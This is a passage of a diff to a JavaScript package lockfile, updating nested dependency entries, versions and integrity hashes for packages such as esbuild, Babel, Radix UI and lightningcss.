"sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA=="], - "dom-helpers/@babel/runtime": ["@babel/runtime@7.28.4", "", {}, "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ=="], - - "fumadocs-mdx/chokidar": ["chokidar@5.0.0", "", { "dependencies": { "readdirp": "^5.0.0" } }, "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw=="], - - "fumadocs-mdx/esbuild": ["esbuild@0.28.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.1", "@esbuild/android-arm": "0.28.1", "@esbuild/android-arm64": "0.28.1", "@esbuild/android-x64": "0.28.1", "@esbuild/darwin-arm64": "0.28.1", "@esbuild/darwin-x64": "0.28.1", "@esbuild/freebsd-arm64": "0.28.1", "@esbuild/freebsd-x64": "0.28.1", "@esbuild/linux-arm": "0.28.1", "@esbuild/linux-arm64": "0.28.1", "@esbuild/linux-ia32": "0.28.1", "@esbuild/linux-loong64": "0.28.1", "@esbuild/linux-mips64el": "0.28.1", "@esbuild/linux-ppc64": "0.28.1", "@esbuild/linux-riscv64": "0.28.1", "@esbuild/linux-s390x": "0.28.1", "@esbuild/linux-x64": "0.28.1", "@esbuild/netbsd-arm64": "0.28.1", "@esbuild/netbsd-x64": "0.28.1", "@esbuild/openbsd-arm64": "0.28.1", "@esbuild/openbsd-x64": "0.28.1", "@esbuild/openharmony-arm64": "0.28.1", "@esbuild/sunos-x64": "0.28.1", "@esbuild/win32-arm64": "0.28.1", "@esbuild/win32-ia32": "0.28.1", "@esbuild/win32-x64": "0.28.1" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw=="], - - "fumadocs-mdx/js-yaml": ["js-yaml@4.3.0", "", { "dependencies": { "argparse": "^2.0.1" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q=="], - - "fumadocs-ui/@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.14", "", { "dependencies": { "@radix-ui/primitive": "1.1.4", "@radix-ui/react-collapsible": "1.1.14", "@radix-ui/react-collection": "1.1.10", "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-direction": "1.1.2", "@radix-ui/react-id": "1.1.2", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-use-controllable-state": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-iE8YB9nmTBH8zd73ofBISZ8JCzgMoMkATJr7qDwa6u5F1+7mTM81V6fa71jgZ65rpjVpecDf1vSnwIFP9Ly1zw=="], - - "mdast-util-to-hast/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], - - "mdast-util-to-markdown/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], - "mime-types/mime-db": ["mime-db@1.33.0", "", {}, "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ=="], "parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="], - "path-scurry/lru-cache": ["lru-cache@11.2.4", "", {}, "sha512-B5Y16Jr9LB9dHVkh6ZevG+vAbOsNOYCX+sXvFWFu7B3Iz5mijW3zdbMyhsh8ANd2mSWBYdJgnqi+mL7/LrOPYg=="], - - "pkg-types/pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], + "path-scurry/lru-cache": ["lru-cache@11.5.2", "", {}, "sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g=="], "react-d3-tree/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="], - "react-router-devtools/@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="], - - "react-router-devtools/@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="], - - "react-router-devtools/@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": "./bin/babel-parser.js" }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="], - - "react-router-devtools/@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="], - - "react-router-devtools/@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="], - - "react-syntax-highlighter/@babel/runtime": ["@babel/runtime@7.28.4", "", {}, "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ=="], - - "rollup/@rollup/rollup-darwin-arm64": ["@rollup/rollup-darwin-arm64@4.62.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-v39RCCvj4He82I9sFmk+M1VZ0PLM9sfsLVikjfx2hYBNALhrrOR2D3JjQA6AhlaSOgcR+RzrKY7e1+bT6SUO/A=="], - - "rollup/@rollup/rollup-linux-x64-gnu": ["@rollup/rollup-linux-x64-gnu@4.62.2", "", { "os": "linux", "cpu": "x64" }, "sha512-5BqxR/pshjey51iliyzTD5Xi3EN0aLmQ2lZ3lvefVV9c82BvrLo2/6OT55iifpWBufs6kdwWbuOKS841DrmK9A=="], - - "rollup/@types/estree": ["@types/estree@1.0.9", "", {}, "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg=="], + "react-router-devtools/framer-motion": ["framer-motion@12.43.0", "", { "dependencies": { "motion-dom": "^12.43.0", "motion-utils": "^12.39.0", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid", "react", "react-dom"] }, "sha512-1eaL3RvR/kAlbG7UYcpMptEyzPoENO0c6w7ZnB3/hh2vSAz/6uGAFn6fdoqTBguNstf3MsFhJHsD/0DHiclG+g=="], "serve/chalk": ["chalk@5.0.1", "", {}, "sha512-Fo07WOYGqMfCWHOzSXOt2CxDbC6skS/jO9ynEcmpANMoPrD+W1r1K6Vx7iNm+AQmETU1Xr2t+n8nzkV9t6xh3w=="], @@ -1564,53 +1370,27 @@ "serve-handler/minimatch": ["minimatch@3.1.5", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w=="], - "unist-util-remove-position/unist-util-visit": ["unist-util-visit@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-is": "^6.0.0", "unist-util-visit-parents": "^6.0.0" } }, "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg=="], - - "vite-node/pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="], - - "vite-node/vite": ["vite@7.3.6", "", { "dependencies": { "esbuild": "^0.27.0 || ^0.28.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-4XP60spRGjSZFf1qYH+dJIkK2znL3zQfl9KkOV9MkkRR/3Dls0dxaBsQPTloEc5BLXWPL9vsOxopxyKoMmDueg=="], - - "@floating-ui/react-dom/@floating-ui/dom/@floating-ui/core": ["@floating-ui/core@1.7.5", "", { "dependencies": { "@floating-ui/utils": "^0.2.11" } }, "sha512-1Ih4WTWyw0+lKyFMcBHGbb5U5FtuHJuujoyyr5zTaWS5EYMeT6Jb2AuDeftsCsEuchO+mM2ij5+q9crhydzLhQ=="], + "@tailwindcss/node/lightningcss/lightningcss-android-arm64": ["lightningcss-android-arm64@1.32.0", "", { "os": "android", "cpu": "arm64" }, "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg=="], - "@radix-ui/react-accordion/@radix-ui/react-collapsible/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.5", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ=="], + "@tailwindcss/node/lightningcss/lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.32.0", "", { "os": "darwin", "cpu": "arm64" }, "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ=="], - "@radix-ui/react-accordion/@radix-ui/react-collapsible/@radix-ui/react-use-layout-effect": ["@radix-ui/react-use-layout-effect@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ=="], + "@tailwindcss/node/lightningcss/lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.32.0", "", { "os": "darwin", "cpu": "x64" }, "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w=="], - "@radix-ui/react-collapsible/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.32.0", "", { "os": "freebsd", "cpu": "x64" }, "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig=="], - "@radix-ui/react-dialog/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.32.0", "", { "os": "linux", "cpu": "arm" }, "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw=="], - "@radix-ui/react-navigation-menu/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ=="], - "@radix-ui/react-popover/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.32.0", "", { "os": "linux", "cpu": "arm64" }, "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg=="], - "@radix-ui/react-roving-focus/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA=="], - "@radix-ui/react-tabs/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], + "@tailwindcss/node/lightningcss/lightningcss-linux-x64-musl": ["lightningcss-linux-x64-musl@1.32.0", "", { "os": "linux", "cpu": "x64" }, "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg=="], - "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="], + "@tailwindcss/node/lightningcss/lightningcss-win32-arm64-msvc": ["lightningcss-win32-arm64-msvc@1.32.0", "", { "os": "win32", "cpu": "arm64" }, "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw=="], - "@tanstack/devtools-vite/@babel/core/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="], - - "@tanstack/devtools-vite/@babel/core/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], - - "@tanstack/devtools-vite/@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "@tanstack/devtools-vite/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], - - "@tanstack/devtools-vite/@babel/traverse/@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="], - - "@tanstack/devtools-vite/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], - - "@tanstack/devtools-vite/@babel/types/@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="], - - "@tanstack/devtools-vite/@babel/types/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], + "@tailwindcss/node/lightningcss/lightningcss-win32-x64-msvc": ["lightningcss-win32-x64-msvc@1.32.0", "", { "os": "win32", "cpu": "x64" }, "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q=="], "ansi-align/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], @@ -1620,180 +1400,14 @@ "compression/debug/ms": ["ms@2.0.0", "", {}, "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="], - "fumadocs-mdx/chokidar/readdirp": ["readdirp@5.0.0", "", {}, "sha512-9u/XQ1pvrQtYyMpZe7DXKv2p5CNvyVwzUB6uhLAnQwHMSgKMBR62lc7AHljaeteeHXn11XTAaLLUVZYVZyuRBQ=="], - - "fumadocs-mdx/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ=="], - - "fumadocs-mdx/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.28.1", "", { "os": "android", "cpu": "arm" }, "sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ=="], - - "fumadocs-mdx/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.1", "", { "os": "android", "cpu": "arm64" }, "sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg=="], - - "fumadocs-mdx/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.28.1", "", { "os": "android", "cpu": "x64" }, "sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng=="], - - "fumadocs-mdx/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q=="], - - "fumadocs-mdx/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ=="], - - "fumadocs-mdx/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw=="], - - "fumadocs-mdx/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.1", "", { "os": "linux", "cpu": "arm" }, "sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.1", "", { "os": "linux", "cpu": 